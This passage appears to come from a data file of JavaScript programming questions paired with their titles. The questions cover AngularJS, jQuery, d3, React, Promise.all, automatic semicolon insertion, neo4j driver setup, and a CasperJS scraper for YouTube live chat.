'test1.html ' '' > < /div > // added console.log to original codevar ngBindDirective = ngDirective ( function ( scope , element , attr ) { console.log ( `` ngDirective '' , attr.ngBind ) ; element.addClass ( 'ng-binding ' ) .data ( ' $ binding ' , attr.ngBind ) ; scope. $ watch ( attr.ngBind , function ngBindWatchAction ( value ) { console.log ( `` ngDirective - scope. $ watch '' , value ) ; element.text ( value == undefined ? `` : value ) ; } ) ; } ) ; < ! DOCTYPE html > < html ng-app ng-controller= '' AppController '' > < head > < script type= '' text/javascript '' src= '' angular.js '' > < /script > < script type= '' text/javascript '' src= '' script1.js '' > < /script > < /head > < body > < div ng-bind= '' testFn ( ) '' > < /span > < /body > < /html > createInjector - modulesToLoad undefined angular.js:2666loadModules undefined angular.js:2756createInjector - modulesToLoad [ `` ng '' , Array [ 2 ] ] angular.js:2666loadModules [ `` ng '' , Array [ 2 ] ] angular.js:2756loadModules [ `` ngLocale '' ] angular.js:2756loadModules [ ] angular.js:2756supportObject - key $ locale angular.js:2702provider - name $ locale angular.js:2712supportObject - key $ compile angular.js:2702provider - name $ compile angular.js:2712supportObject - key aDirective angular.js:2702factory - name aDirective angular.js:2723provider - name aDirective angular.js:2712supportObject - key inputDirective angular.js:2702factory - name inputDirective angular.js:2723provider - name inputDirective angular.js:2712supportObject - key textareaDirective angular.js:2702factory - name textareaDirective angular.js:2723provider - name textareaDirective angular.js:2712supportObject - key formDirective angular.js:2702factory - name formDirective angular.js:2723provider - name formDirective angular.js:2712supportObject - key scriptDirective angular.js:2702factory - name scriptDirective angular.js:2723provider - name scriptDirective angular.js:2712supportObject - key selectDirective angular.js:2702factory - name selectDirective angular.js:2723provider - name selectDirective angular.js:2712supportObject - key styleDirective angular.js:2702factory - name styleDirective angular.js:2723provider - name styleDirective angular.js:2712supportObject - key optionDirective angular.js:2702factory - name optionDirective angular.js:2723provider - name optionDirective angular.js:2712supportObject - key ngBindDirective angular.js:2702factory - name ngBindDirective angular.js:2723provider - name ngBindDirective angular.js:2712supportObject - key ngBindHtmlUnsafeDirective angular.js:2702factory - name ngBindHtmlUnsafeDirective angular.js:2723provider - name ngBindHtmlUnsafeDirective angular.js:2712supportObject - key ngBindTemplateDirective angular.js:2702factory - name ngBindTemplateDirective angular.js:2723provider - name ngBindTemplateDirective angular.js:2712supportObject - key ngClassDirective angular.js:2702factory - name ngClassDirective angular.js:2723provider - name ngClassDirective angular.js:2712supportObject - key ngClassEvenDirective angular.js:2702factory - name ngClassEvenDirective angular.js:2723provider - name ngClassEvenDirective angular.js:2712supportObject - key ngClassOddDirective angular.js:2702factory - name ngClassOddDirective angular.js:2723provider - name ngClassOddDirective angular.js:2712supportObject - key ngCspDirective angular.js:2702factory - name ngCspDirective angular.js:2723provider - name ngCspDirective angular.js:2712supportObject - key ngCloakDirective angular.js:2702factory - name ngCloakDirective angular.js:2723provider - name ngCloakDirective angular.js:2712supportObject - key ngControllerDirective angular.js:2702factory - name ngControllerDirective angular.js:2723provider - name ngControllerDirective angular.js:2712supportObject - key ngFormDirective angular.js:2702factory - name ngFormDirective angular.js:2723provider - name ngFormDirective angular.js:2712supportObject - key ngHideDirective angular.js:2702factory - name ngHideDirective angular.js:2723provider - name ngHideDirective angular.js:2712supportObject - key ngIncludeDirective angular.js:2702factory - name ngIncludeDirective angular.js:2723provider - name ngIncludeDirective angular.js:2712supportObject - key ngInitDirective angular.js:2702factory - name ngInitDirective angular.js:2723provider - name ngInitDirective angular.js:2712supportObject - key ngNonBindableDirective angular.js:2702factory - name ngNonBindableDirective angular.js:2723provider - name ngNonBindableDirective angular.js:2712supportObject - key ngPluralizeDirective angular.js:2702factory - name ngPluralizeDirective angular.js:2723provider - name ngPluralizeDirective angular.js:2712supportObject - key ngRepeatDirective angular.js:2702factory - name ngRepeatDirective angular.js:2723provider - name ngRepeatDirective angular.js:2712supportObject - key ngShowDirective angular.js:2702factory - name ngShowDirective angular.js:2723provider - name ngShowDirective angular.js:2712supportObject - key ngSubmitDirective angular.js:2702factory - name ngSubmitDirective angular.js:2723provider - name ngSubmitDirective angular.js:2712supportObject - key ngStyleDirective angular.js:2702factory - name ngStyleDirective angular.js:2723provider - name ngStyleDirective angular.js:2712supportObject - key ngSwitchDirective angular.js:2702factory - name ngSwitchDirective angular.js:2723provider - name ngSwitchDirective angular.js:2712supportObject - key ngSwitchWhenDirective angular.js:2702factory - name ngSwitchWhenDirective angular.js:2723provider - name ngSwitchWhenDirective angular.js:2712supportObject - key ngSwitchDefaultDirective angular.js:2702factory - name ngSwitchDefaultDirective angular.js:2723provider - name ngSwitchDefaultDirective angular.js:2712supportObject - key ngOptionsDirective angular.js:2702factory - name ngOptionsDirective angular.js:2723provider - name ngOptionsDirective angular.js:2712supportObject - key ngViewDirective angular.js:2702factory - name ngViewDirective angular.js:2723provider - name ngViewDirective angular.js:2712supportObject - key ngTranscludeDirective angular.js:2702factory - name ngTranscludeDirective angular.js:2723provider - name ngTranscludeDirective angular.js:2712supportObject - key ngModelDirective angular.js:2702factory - name ngModelDirective angular.js:2723provider - name ngModelDirective angular.js:2712supportObject - key ngListDirective angular.js:2702factory - name ngListDirective angular.js:2723provider - name ngListDirective angular.js:2712supportObject - key ngChangeDirective angular.js:2702factory - name ngChangeDirective angular.js:2723provider - name ngChangeDirective angular.js:2712supportObject - key requiredDirective angular.js:2702factory - name requiredDirective angular.js:2723provider - name requiredDirective angular.js:2712supportObject - key ngRequiredDirective angular.js:2702factory - name ngRequiredDirective angular.js:2723provider - name ngRequiredDirective angular.js:2712supportObject - key ngValueDirective angular.js:2702factory - name ngValueDirective angular.js:2723provider - name ngValueDirective angular.js:2712supportObject - key ngMultipleDirective angular.js:2702factory - name ngMultipleDirective angular.js:2723provider - name ngMultipleDirective angular.js:2712supportObject - key ngSelectedDirective angular.js:2702factory - name ngSelectedDirective angular.js:2723provider - name ngSelectedDirective angular.js:2712supportObject - key ngCheckedDirective angular.js:2702factory - name ngCheckedDirective angular.js:2723provider - name ngCheckedDirective angular.js:2712supportObject - key ngDisabledDirective angular.js:2702factory - name ngDisabledDirective angular.js:2723provider - name ngDisabledDirective angular.js:2712supportObject - key ngReadonlyDirective angular.js:2702factory - name ngReadonlyDirective angular.js:2723provider - name ngReadonlyDirective angular.js:2712supportObject - key ngSrcDirective angular.js:2702factory - name ngSrcDirective angular.js:2723provider - name ngSrcDirective angular.js:2712supportObject - key ngHrefDirective angular.js:2702factory - name ngHrefDirective angular.js:2723provider - name ngHrefDirective angular.js:2712supportObject - key ngClickDirective angular.js:2702factory - name ngClickDirective angular.js:2723provider - name ngClickDirective angular.js:2712supportObject - key ngDblclickDirective angular.js:2702factory - name ngDblclickDirective angular.js:2723provider - name ngDblclickDirective angular.js:2712supportObject - key ngMousedownDirective angular.js:2702factory - name ngMousedownDirective angular.js:2723provider - name ngMousedownDirective angular.js:2712supportObject - key ngMouseupDirective angular.js:2702factory - name ngMouseupDirective angular.js:2723provider - name ngMouseupDirective angular.js:2712supportObject - key ngMouseoverDirective angular.js:2702factory - name ngMouseoverDirective angular.js:2723provider - name ngMouseoverDirective angular.js:2712supportObject - key ngMouseoutDirective angular.js:2702factory - name ngMouseoutDirective angular.js:2723provider - name ngMouseoutDirective angular.js:2712supportObject - key ngMousemoveDirective angular.js:2702factory - name ngMousemoveDirective angular.js:2723provider - name ngMousemoveDirective angular.js:2712supportObject - key ngMouseenterDirective angular.js:2702factory - name ngMouseenterDirective angular.js:2723provider - name ngMouseenterDirective angular.js:2712supportObject - key ngMouseleaveDirective angular.js:2702factory - name ngMouseleaveDirective angular.js:2723provider - name ngMouseleaveDirective angular.js:2712supportObject - key Object { $ anchorScroll : function , $ browser : function , $ cacheFactory : function , $ controller : function , $ document : function… } angular.js:2702provider - name $ anchorScroll angular.js:2712provider - name $ browser angular.js:2712provider - name $ cacheFactory angular.js:2712provider - name $ controller angular.js:2712provider - name $ document angular.js:2712provider - name $ exceptionHandler angular.js:2712provider - name $ filter angular.js:2712supportObject - key currencyFilter angular.js:2702factory - name currencyFilter angular.js:2723provider - name currencyFilter angular.js:2712supportObject - key dateFilter angular.js:2702factory - name dateFilter angular.js:2723provider - name dateFilter angular.js:2712supportObject - key filterFilter angular.js:2702factory - name filterFilter angular.js:2723provider - name filterFilter angular.js:2712supportObject - key jsonFilter angular.js:2702factory - name jsonFilter angular.js:2723provider - name jsonFilter angular.js:2712supportObject - key limitToFilter angular.js:2702factory - name limitToFilter angular.js:2723provider - name limitToFilter angular.js:2712supportObject - key lowercaseFilter angular.js:2702factory - name lowercaseFilter angular.js:2723provider - name lowercaseFilter angular.js:2712supportObject - key numberFilter angular.js:2702factory - name numberFilter angular.js:2723provider - name numberFilter angular.js:2712supportObject - key orderByFilter angular.js:2702factory - name orderByFilter angular.js:2723provider - name orderByFilter angular.js:2712supportObject - key uppercaseFilter angular.js:2702factory - name uppercaseFilter angular.js:2723provider - name uppercaseFilter angular.js:2712provider - name $ interpolate angular.js:2712provider - name $ http angular.js:2712provider - name $ httpBackend angular.js:2712provider - name $ location angular.js:2712provider - name $ log angular.js:2712provider - name $ parse angular.js:2712provider - name $ route angular.js:2712provider - name $ routeParams angular.js:2712provider - name $ rootScope angular.js:2712provider - name $ q angular.js:2712provider - name $ sniffer angular.js:2712provider - name $ templateCache angular.js:2712provider - name $ timeout angular.js:2712provider - name $ window angular.js:2712decorator - serviceName $ rootScope angular.js:2742supportObject - key $ rootElement angular.js:2702factory - name $ rootElement angular.js:2723provider - name $ rootElement angular.js:2712 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -ngDirective testFn ( ) angular.js:12363TestFn script1.js:3ngDirective - scope. $ watch test angular.js:12366TestFn script1.js:3",Expression evaluated 2 times "JS : I was wondering if I really have to write : or there is a function to which I can provide my boolean status , something like : I 've seen fadeToggle , but it does n't accept a boolean status parameter . if ( status ) { $ ( ' # status-image- ' + id ) .fadeIn ( ) ; } else { $ ( ' # status-image- ' + id ) .fadeOut ( ) ; } $ ( ' # status-image- ' + id ) .fade ( status ) ;",fadeIn / fadeOut based on a boolean "JS : I 'm a huge fan of ES5 's Function.prototype.bind and currying arguments ( basically creating default arguments for functions ) .I was fooling around with that a bit , but I ca n't for the life of me figure out my own construct anymore . This is my playground : The log output for this is as follows : But I do n't understand how on earth the { what : 'dafuq ' } object makes its way as a reference for the this within foo . As far as I understand it , we are creating a bound call to Function.prototype.call . Lets check the MDN synopsis for .bind ( ) quickly : so , thisArg for .call is the hello function , followed by the arguments list . Basically what happens is this ... uuhhh now my brain hurts a little . I think I have an idea now what happens , but please someone find nice solid words to explain it in detail.how { what : 'dafuq ' } becomes the this reference function hello ( arg1 , arg2 ) { console.log ( 'hello ( ) ' ) ; console.log ( ' '' this '' is : ' , this ) ; console.log ( 'arguments : ' , arguments ) ; } var foo = Function.prototype.call.bind ( hello , { what : 'dafuq ' } , 2 ) ; foo ( 42 ) ; hello ( ) '' this '' is : Object { what= '' dafuq '' } arguments : [ 2,42 ] fun.bind ( thisArg [ , arg1 [ , arg2 [ , ... ] ] ] ) Function.prototype.call.call ( hello , { what : 'dafuq ' } , 2 ) ;",Confusion about Function.prototype.bind ( ) "JS : I have a force directed graph with links between each nodes . Now some node pairs have multiple links going to each other . I have found this example : Drawing multiple edges between two nodes with d3 . This worked great , I thought . But if you have fixed nodes and drag , the paths end up overlapping each other . I have put together an edited version of this example : http : //jsfiddle.net/thatOneGuy/7HZcR/502/Click the button to fix the nodes and move them around to see what I mean.Code for working out amount of arc : Can anyone think of another way of doing this or fixing this way maybe ? I could have 3 maybe even 4 links between two nodes . //sort links by source , then targetlinks.sort ( function ( a , b ) { if ( a.source > b.source ) { return 1 ; } else if ( a.source < b.source ) { return -1 ; } else { if ( a.target > b.target ) { return 1 ; } if ( a.target < b.target ) { return -1 ; } else { return 0 ; } } } ) ; //any links with duplicate source and target get an incremented 'linknum'for ( var i=0 ; i < links.length ; i++ ) { if ( i ! = 0 & & links [ i ] .source == links [ i-1 ] .source & & links [ i ] .target == links [ i-1 ] .target ) { links [ i ] .linknum = links [ i-1 ] .linknum + 1 ; } else { links [ i ] .linknum = 1 ; } ; } ;",Drawing multiple links between fixed nodes "JS : The following lines of JavaScriptresult in the following error : However , the following two blocks of JavaScript code do n't : Without the try block scope : Within a function scope : But why ? ( Testing environment : Chromium 61.0.3126.0 ) try { function _free ( ) { } var _free = 1 ; } finally { } Uncaught SyntaxError : Identifier '_free ' has already been declared function _free ( ) { } var _free = 1 ; function a ( ) { function _free ( ) { } var _free = 1 ; }",Why does redeclaring a function identifier within a try block throw a SyntaxError ? "JS : I have a problem . I need to show toastr informing that changes are not saved when someone wants to hide modal . I need to trigger toastr before modal hide , and when the user tries again to dismiss modal allow this . I tried something like this : and it works fine for first time , after this hide event seems to be overwriten and function $ ( ' # triggerModal ' ) .on ( 'hide.bs.modal ' , ( ) = > { does n't trigger anymore . HTML : declare let jQuery : any ; declare let $ : any ; declare let toastr : any ; @ Component ( { selector : 'app-trigger ' , templateUrl : './trigger.component.html ' , styleUrls : [ './trigger.component.scss ' ] } ) export class TriggerComponent implements OnInit { name : string private canHideModal = true ; constructor ( ) { } ngOnInit ( ) { const self = this ; $ ( ' # triggerModal ' ) .on ( 'hide.bs.modal ' , ( ) = > { if ( self.canHideModal ) { //hide modal here < -- -- -- -- - } else { toastr [ 'warning ' ] ( 'You have unsaved changes ' ) ; self.canHideModal = true ; return false } } ) ; } fireModal ( changes : { action : string , name : string } ) { changes.action = 'show ' ; changes.name = 'test ' ; this.name = changes.name $ ( ' # triggerModal ' ) .modal ( changes.action ) ; } } < div class= '' modal fade '' id= '' triggerModal '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' myModalLabel '' style= '' display : none ; '' aria-hidden= '' true '' > < div class= '' modal-dialog modal-lg px-4 '' role= '' document '' > < ! -- Content -- > < div class= '' modal-content '' > < ! -- Header -- > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > × < /span > < /button > < /div > < ! -- Body -- > < div class= '' modal-body mb-0 '' > < ! -- Grid row -- > < div class= '' row d-flex justify-content-center mb-4 '' > < ! -- Grid column -- > < div class= '' col-md-6 '' > < ! -- Name -- > < div class= '' md-form '' > < input type= '' text '' id= '' triggerStartName '' ( input ) = '' canHideModal = false '' class= '' form-control '' # triggerName [ value ] = '' name '' > < label for= '' triggerStartName '' [ ngClass ] = '' { 'active ' : name } '' > Trigger name < /label > < /div > < /div > < ! -- Grid column -- > < /div > < ! -- Grid row -- > < /div > < ! -- Footer -- > < div class= '' modal-footer justify-content-center '' > < button type= '' button '' class= '' btn btn-primary waves-effect waves-light '' data-dismiss= '' modal '' > Close < /button > < /div > < /div > < ! -- /.Content -- > < /div > < /div >",Modal event before hide "JS : I 'm trying to get multiple data objects from The Movie Database at once using Promise.all . After I loop through all the results of the fetch call , and use .json ( ) on each bit of data , I tried to log it to the console . However , rather than an array of objects with data , I 'm getting an array of Promises . Nested in the promises , I can see my data , but I 'm clearly missing a step in order to have an array of data objects , instead of just Promises . What am I missing here ? //store movie API URLs into meaningful variables const trending = ` https : //api.themoviedb.org/3/trending/all/day ? api_key= $ { API_KEY } ` ; const topRated = ` https : //api.themoviedb.org/3/movie/top_rated ? api_key= $ { API_KEY } & language=en-US & page=1 ` ; const nowPlaying = ` https : //api.themoviedb.org/3/movie/now_playing ? api_key= $ { API_KEY } & language=en-US & page=1 ` ; const upcoming = ` https : //api.themoviedb.org/3/movie/upcoming ? api_key= $ { API_KEY } & language=en-US & page=1 ` ; //create an array of urls to fetch data from const allMovieURLs = [ trending , topRated , nowPlaying , upcoming ] ; const promiseURLs = allMovieURLs.map ( url = > fetch ( url ) ) ; Promise.all ( promiseURLs ) .then ( responses = > responses.map ( url = > url.json ( ) ) ) .then ( dataArr = > console.log ( dataArr ) ) ; } ;",Promise.all returning empty objects "JS : I 'm trying to implement helper components for CSS Grids . I have something like ( prepare yourself ) : ColumnContainer : Is a container div with display : grid and various grid properties set upIs also a context providerThen , ColumnContainer.Row : Is basically a context consumerTakes a function as a childDoes n't need to be a direct child of ColumnContainer - hence using contextThe context provided is an integer , layoutVersion , which is incremented whenever the set of rows is intended to change ( to trigger a re-render ) , and - hack of hacks - an empty array.The idea is , as each ColumnContainer.Row renders , it adds itself ( could be any object ) to the array whose reference is passed in the context , and renders the child function with the size of the array as the parameter ( row index ) .Believe it or not , this works , for the first render and if rows are just added to the end.However , when components are added in the `` middle '' of the component DOM , the resulting rendered rows are out-of-order ( but not overlapping ) . Meaning , I think , that in the case of a new layout version ( re-render ) , all the ColumnContainer.Rows are re-rendered , but not necessarily in the 'natural ' order they are in , i.e . in the DOM.My guess is that depending on components to have render ( ) called in a certain order is a bad idea , as well as modifying the contents of context properties in render ( ) .What are my other options - what I really want is to know the 'natural ' order of descendent nodes within a component tree . If they were direct child elements , I 'd guess it would be easy - in my case though I have nested components which can output rows . < ColumnContainer columns= { [ `` 1em '' , `` 1fr '' , `` auto '' , `` auto '' , `` 1em '' , `` auto '' ] } > < ColumnContainer.Row > { rowIdx = > ( < div style= { { gridRow : rowIdx , gridColumn : `` 1 / 3 '' } } > < /div > ) } < /ColumnContainer.Row > < /ColumnContainer >",React : Get component order within hierarchy "JS : I 'm pretty new to using object.create instead of the classical js way to acheive prototypical inheritance.In Chrome at least I was surprised to see the following code : Produces this ( simulating the output in web tools ) : So you see it 's not setting prototype but instead only `` __proto__ '' , which I thought was discouraged in its use . You can see that in my code I 'm able to properly inherit , and call the parent object , but only using `` __proto__ '' . Using `` prototype '' results in an error ( undefined ) .What 's going on here ? I figured object.create would set the `` prototype '' instead as that is the standard ( or so I had assumed ) . Why is it populating and making me using `` __proto__ '' var baseObject = { test : function ( ) { console.log ( 'Child ' ) ; } } var newObject = Object.create ( baseObject ) ; newObject.test = function ( ) { console.log ( 'Parent ' ) ; this.__proto__.test ( ) ; } console.log ( newObject ) ; newObject.test ( ) ; Object { test : function , test : function } test : function ( ) { __proto__ : Object test : function ( ) { __proto__ : ObjectParentChild",Object.create setting __proto__ but not prototype "JS : I was perusing the underscore.js library and I found something I have n't come across before : What is that + operator doing there ? For context , here is a direct link to that part of the file . if ( obj.length === +obj.length ) { ... }",+ operator before expression in javascript : what does it do ? "JS : I have an AngularJS service which performs an $ http GET request and caches the response locally . It is designed to handle the multiple calls happening simultaneously , such that only the data from the final call is cached.Specifically , if the following happens : Request A StartedRequest B StartedRequest B CompletedRequest A CompletedThe result is that the response of request B is cached , because it was initiated last.However I 'm having trouble unit testing this in Jasmine.I can set-up two $ httpBackend.expectGET ( ) expectations , but I can only flush them in the order they are requested.Essentially I need to be able to so something like this : Can anyone suggest a neat way to achieve this ? $ httpBackend.expectGET ( '/one ' ) .respond ( 200 , data1 ) ; $ httpBackend.expectGET ( '/two ' ) .respond ( 200 , data2 ) ; myService.doSomething ( '/one ' ) ; myService.doSomething ( '/two ' ) ; $ httpBackend.flush ( '/two ' ) ; $ httpBackend.flush ( '/one ' ) ; expect ( myService.data ) .toBe ( data2 ) ;",How to flush AngularJS $ httpBackend responses in different order "JS : Historically , I like to break expressions so that the `` it 's clearly incomplete '' bias is shown on the continued line : This is an attitude that comes from working in languages which need semicolons to terminate expressions . The first line is already obviously incomplete due to no-semicolon , so it 's better to make it clear to the reader that the second line is not complete.The alternative would be : That 's not as good for me . Now the only way to tell that baz ( mumble ) ; is n't standalone ( indentation aside ) is to scan your eyes to the end of the previous line . * ( Which is presumably long , as you needed to break it in the first place . ) *But in bizarro JavaScript land , I started seeing people changing code from things that looked like the first form to the second , and warning about `` automatic semicolon insertion '' . It certainly causes some surprising behaviors . Not really wanting to delve into that tangent at the time I put `` learn what automatic semicolon insertion is and whether I should be doing that too '' into my infinite task queue.When I did look into it , I found myself semi-sure ... but not certain ... that there are n't dangers with how I use it . It seems the problems would come from if I had left off the + on accident and written : ... then JavaScript inserts a semicolon after foo + bar for you , seemingly because both lines stand alone as complete expressions . I deduced perhaps those other JavaScript programmers thought biasing the `` clearly intentionally incomplete '' bit to the end of the line-to-be-continued was better , because it pinpointed the location where the semicolon wasn't.Yet if I have stated my premise correctly , I am styling my broken lines in a way that the ensuing lines are `` obviously incomplete '' . If that were n't the case then I would n't consider my way an advantage in the first place.Am I correct , that my way is not a risk for the conditions I describe of how I use line continuations ? Are there any `` incomplete seeming '' expression pitfalls that are actually complete in surprising Ways ? To offer an example of `` complete in surprising ways '' , consider if + 1 ; could be interpreted as just positive one on a line by itself . Which it seems it can : But JSFiddle gives back 6 for this : Maybe that 's just a quirk in the console , but it causes me to worry about my `` it 's okay so long as the second line does n't stand alone as complete expression '' interpretation . var something = foo + bar + baz ( mumble ) ; var something = foo + bar + baz ( mumble ) ; var something = foo + bar baz ( mumble ) ; var x = 3 + 2+ 1 ; alert ( x )",Are there semicolon insertion dangers with continuing operators on next line ? "JS : I found the following on codepen and really liked this effect . Now I 'm trying to adapt this to my needs and ran into some problems : Whenever a user scrolls down or is resizing his screen , the image is behaving weird ( I ca n't describe it in my own words , see jsfiddle for what I mean ) .I guess this problem might relate to the 'background-attachment : fixed ' property.See : I tried to experiment with both , the position of the div and the background-attachment property , but I did n't get a decent result . You can see my updated fiddles for that ( Rev . : 2-4 ) .Does one of you have an idea of how I can use this effect without the shown weird behaviours ? Maybe there 's some jQuery magic with whose help I can achieve this effect ? It would be best if the solution also supports the IE 8 , but it 's not a must at this point , as I only want to understand what I did wrong.Thanks in advance . .image { width:100 % ; height:100 % ; position : absolute ; bottom:0 ; background : url ( `` http : //lorempixel.com/400/200/ '' ) fixed top center no-repeat ; background-clip : content-box ; opacity : 0.4 ; filter : alpha ( opacity=40 ) ; } .show { width:100 % ; height:100 % ; position : absolute ; bottom:0 ; background : url ( `` http : //lorempixel.com/400/200/ '' ) fixed top center no-repeat ; background-clip : content-box ; }",Make an image transparent and fill with color relative to a percentage value "JS : BackgroundI have been using Backbone.js for some time and one aspect of it that impresses me is how it allows me to simplify , abstract and reuse DOM elements as 'views ' . I have tried to read through some of the annotated source and am familiar with JQuery , but have little knowledge of how the DOM works on a deeper level.QuestionHow does Backbone.JS tie DOM elements to views without assigning an id , class or other attribute to them ? i.e.I love that Backbone does this and would like to know how it does it ! < ul > < li > Item one < /li > < li > Item two < /li > < li > Item three < /li > < /ul >",How does Backbone.js keep track of DOM elements without using IDs ? "JS : Reading documentation about fileReader , and find out that they write methods using void operator , like this : just trying understand why they do write it like this ? If there is any practical use of this syntax ? Later on it turns out not to be js at all , but IDL which is Interface Description Language.FYI : before asking this question I do google and read about actual void operator in JS . So please there no needs reffer me back . Question little bit blurry , but it has to deal with , why Mozilla has documentation about JavaScript written like this ? In IDL which has little with actual JavaScript ? void readAsArrayBuffer ( in Blob blob ) ;",Why Mozilla has JavaScript documentation written with IDL "JS : I 'm using ES6 and the Flow type checker in a project.Suppose I 've got two type aliases , defined only in terms of what methods are expected of them ( like a Java interface ) : How would I define a class FlyingCar to demonstrate to the type checker that it is both a Car and an Airplane ? I 'm using ECMAScript 6 classes.For a type I suspect it would look something like : I ca n't seem to reconcile what I want with the class syntax , though , since it seems to be tied into ES6 's class syntax . type Airplane = { takeOff : ( ( ) = > void ) ; land : ( ( ) = > void ) ; } ; type Car = { drive : ( ( speed : number ) = > void ) ; } ; type FlyingCar = ( Airplane & Car ) ;",Mixins with Flow type annotations "JS : We are coding a rather simple Javascript ( jQuery ) image cropper & resizer . Basically , for now , only features needed are indeed crop and resize.I have been checking a few jQuery plugins like JCrop etc . and it seems there 's no plugins doing both things at same time . Lots of croppers OR resizer , but not the two features on a same `` natural '' image view at same time . By natural I mean that examples like this ( bottom right ) are not very nice visually for users : http : //jsfiddle.net/opherv/74Jep/33/Although I guess this would be a possible way to go to have the two features at same time . Though you can see this example only zooms too currently and it is qualified as using `` ugly hacks '' by the author himself to do so : We are rather looking for the possibilty to use a cropper frame/zone ( as we see the most often on the web ) + a zoom/de-zoom option on the image ( handles on the border of the image for example ) Since we only need those two features we thought we would code this from scratch or almost as we do n't want to add other javascript files/plugins which will be overkill anyway being packed with other features we will not need ( at least for now ) . The question is : is there a specific difficulty at trying to code the display of an image re-sizable by straightforward handles & croppable by a frame/zone selection ( which would also be re-sizable on its own and draggable around so a user can fine tune which part of the image he wants ) ? Are we definitely better separating the two features ? Thanks a lot for your help . function changeZoom ( percent ) { var minWidth=viewport.width ( ) ; var newWidth= ( orgWidth-minWidth ) *percent/100+minWidth ; var newHeight= newWidth/orgRatio ; var oldSize= [ img.width ( ) , img.height ( ) ] ; img.css ( { width : newWidth+ '' px '' , height : newHeight+ '' px '' } ) ; adjustDimensions ( ) ; //ugly hack : ( if ( img.offset ( ) .left+img.width ( ) > dragcontainer.offset ( ) .left+dragcontainer.width ( ) ) { img.css ( { left : dragcontainer.width ( ) -img.width ( ) + '' px '' } ) ; } if ( img.offset ( ) .top+img.height ( ) > dragcontainer.offset ( ) .top+dragcontainer.height ( ) ) { img.css ( { top : dragcontainer.height ( ) -img.height ( ) + '' px '' } ) ; } }",Code from scratch an image cropper AND resizer ( at same time ) in jQuery/javascript ? "JS : I can not get rid of a small issue affecting my app functionality to enable to call a phone number using skype , what I have so far is this : HTML : ANGULARThe result is always the same , when I hover the element to start a call the browser show this : unsafe : skype:012345678 ? call and do not allow me to call the number ... I added the config part browsing other questions related to similar issues but it does n't solve my issue.EDIT : I 'm using meanjs.org EDIT 2 : Please do not copy/paste my question code as your answer ... I know that it work on a normal Angular application . The problem is that I can not let it work using meanjs.org app . Thanks.EDIT 3 : I just found that : if I use the skype link in the main root / or in a child root like : /list it work fine without adding the unsafe prefix . In a dynamic root like : /list/1234 it does n't work anymore . I do n't know if it could help . < a ng-href= '' skype : { { user.phone } } ? call '' class= '' btn btn-sm btn-success '' type= '' button '' > { { user.phone } } < /a > ( function ( ) { angular.module ( 'core ' ) .config ( coreConfig ) ; coreConfig. $ inject = [ ' $ compileProvider ' ] ; function coreConfig ( $ compileProvider ) { $ compileProvider.aHrefSanitizationWhitelist ( /^\s* ( https ? |ftp|mailto|tel|file|skype ) : / ) ; } } ) ( ) ;",Allow skype calls from Angular App ( using meanjs ) "JS : Here is my HTML code : And JS : http : //jsbin.com/wuveresele/edit ? html , js , outputI want to enter some value ( for example , 123 ) into input field , click button and see `` rendered '' html code of the page in an alert popup.What I see : What I want to see : Is it possible using JS or JQuery ? < ! DOCTYPE html > < html > < head > < script src= '' https : //code.jquery.com/jquery-1.7.2.js '' > < /script > < /head > < body > < input id= '' test '' value= '' '' > < input type= '' button '' id= '' btn '' value= '' Get '' > < /body > < /html > $ ( ' # btn ' ) .click ( function ( ) { alert ( document.documentElement.innerHTML ) ; } ) ; ... < input id= '' test '' value= '' '' > ... ... < input id= '' test '' value= '' 123 '' > ...",Get rendered page using JS or JQuery "JS : I am trying to create a connection between my html embedded javascript and my neo4j database by running the index.html in Chrome . I have reduced the source of the problem to 'neo4j ' not being recognised . So the error thrown will be of the type : Can not read property [ 'driver'/'basic'/etc ... ] of undefined . In this case I have assumed that 'undefined ' is referring to 'neo4j ' , which would mean that I am not implementing 'neo4j-web.min.js ' correctly.The below block of code is extracted from my index.html and has been taken from : https : //www.npmjs.com/package/neo4j-driverGiven that the issue seems very localised to this code , I spared everyone the rest of the document . If further context is missing , I 'd be happy to provide it . < script src= '' node_modules/neo4j-driver/lib/browser/neo4j-web.min.js '' > < /script > < script type= '' text/javascript '' charset= '' utf-8 '' > var driver = neo4j.driver ( `` bolt : //localhost:7474 '' , neo4j.auth.basic ( neo4j , neo4j ) ) ; < /script >",Unable to establish a neo4j - bolt driver connection in javascript "JS : I am trying to scrape the text from youtube live chat feeds using casper . I am having problems selecting the correct selector . There are many nested elements and dynamically generated elements for each new message that gets pushed out . How might one go about continually pulling the nested < span id= '' message '' > some message < /span > as they occur ? I currently ca n't seem to grab just even one ! Here 's my test code : note : you can substitute any youtube url that has a live chat feed.My question is exactly this . How do i properly select the messages ? And 2 , how might i continually listen for new ones ? UPDATE : I have been playing with nightmare ( electron testing suite ) and that is looking promising however I still ca n't seem to select the chat elements . I know i 'm missing something simple.EDIT / UPDATE ( using cadabra 's fine example ) const casper = require ( `` casper '' ) .create ( { viewportSize : { width : 1080 , height : 724 } } ) ; const ua = 'Mozilla/5.0 ( Windows NT 6.1 ; Win64 ; x64 ; rv:47.0 ) Gecko/20100101 Firefox/47.0'const url = `` https : //www.youtube.com/watch ? v=NksKCLsMUsI '' ; casper.start ( ) ; casper.userAgent ( ua ) casper.thenOpen ( url , function ( ) { this.wait ( 3000 , function ( ) { if ( this.exists ( `` span # message '' ) ) { this.echo ( `` found the a message ! `` ) ; } else { this.echo ( `` ca n't find a message '' ) ; } casper.capture ( `` test.png '' ) ; } ) ; } ) ; casper.run ( ) ; var casper = require ( `` casper '' ) .create ( { viewportSize : { width : 1024 , height : 768 } } ) ; url = 'https : //www.youtube.com/live_chat ? continuation=0ofMyAMkGiBDZzhLRFFvTFJVRTFVVlkwZEV4MFRFVWdBUSUzRCUzRDAB'ua = 'Mozilla/5.0 ( Windows NT 6.1 ; Win64 ; x64 ; rv:47.0 ) Gecko/20100101 Firefox/47.0'casper.start ( url ) casper.userAgent ( ua ) ; var currentMessage = `` ; ( function getPosts ( ) { var post = null ; casper.wait ( 1000 , function ( ) { casper.capture ( 'test.png ' ) post = this.evaluate ( function ( ) { var nodes = document.querySelectorAll ( 'yt-live-chat-text-message-renderer ' ) , author = nodes [ nodes.length - 1 ] .querySelector ( ' # author-name ' ) .textContent , message = nodes [ nodes.length - 1 ] .querySelector ( ' # message ' ) .textContent ; return { author : author , message : message } ; } ) ; } ) ; casper.then ( function ( ) { if ( currentMessage 